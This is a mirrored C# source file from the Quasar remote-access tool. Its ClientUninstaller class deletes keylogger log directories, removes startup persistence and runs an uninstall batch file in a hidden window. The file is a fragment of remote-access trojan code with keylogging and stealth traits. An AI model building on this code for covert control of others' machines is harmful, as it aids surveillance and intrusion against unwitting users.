mirror of
https://github.com/quasar/Quasar.git
synced 2026-10-24 17:31:11 +08:00
- Improved Client Installation, Update and Uninstallation - Improved Registry Access - Split SystemCore class
63 lines
1.7 KiB
C#
63 lines
1.7 KiB
C#
using System.Diagnostics;
|
|
using System.IO;
|
|
using xClient.Config;
|
|
using xClient.Core.Data;
|
|
using xClient.Core.Helper;
|
|
using xClient.Core.Networking;
|
|
using xClient.Core.Utilities;
|
|
|
|
namespace xClient.Core.Installation
|
|
{
|
|
public static class ClientUninstaller
|
|
{
|
|
public static void Uninstall(Client client)
|
|
{
|
|
if (!Settings.INSTALL)
|
|
{
|
|
new Packets.ClientPackets.SetStatus("Can not uninstall client. Installation was not enabled.").Execute(client);
|
|
return;
|
|
}
|
|
|
|
RemoveExistingLogs();
|
|
|
|
if (Settings.STARTUP)
|
|
Startup.RemoveFromStartup();
|
|
|
|
try
|
|
{
|
|
string batchFile = FileHelper.CreateUninstallBatch(Settings.HIDEFILE);
|
|
|
|
if (string.IsNullOrEmpty(batchFile)) return;
|
|
|
|
ProcessStartInfo startInfo = new ProcessStartInfo
|
|
{
|
|
WindowStyle = ProcessWindowStyle.Hidden,
|
|
CreateNoWindow = true,
|
|
UseShellExecute = true,
|
|
FileName = batchFile
|
|
};
|
|
Process.Start(startInfo);
|
|
}
|
|
finally
|
|
{
|
|
ClientData.Disconnect = true;
|
|
client.Disconnect();
|
|
}
|
|
}
|
|
|
|
public static void RemoveExistingLogs()
|
|
{
|
|
if (Directory.Exists(Keylogger.LogDirectory)) // try to delete Logs from Keylogger
|
|
{
|
|
try
|
|
{
|
|
Directory.Delete(Keylogger.LogDirectory, true);
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|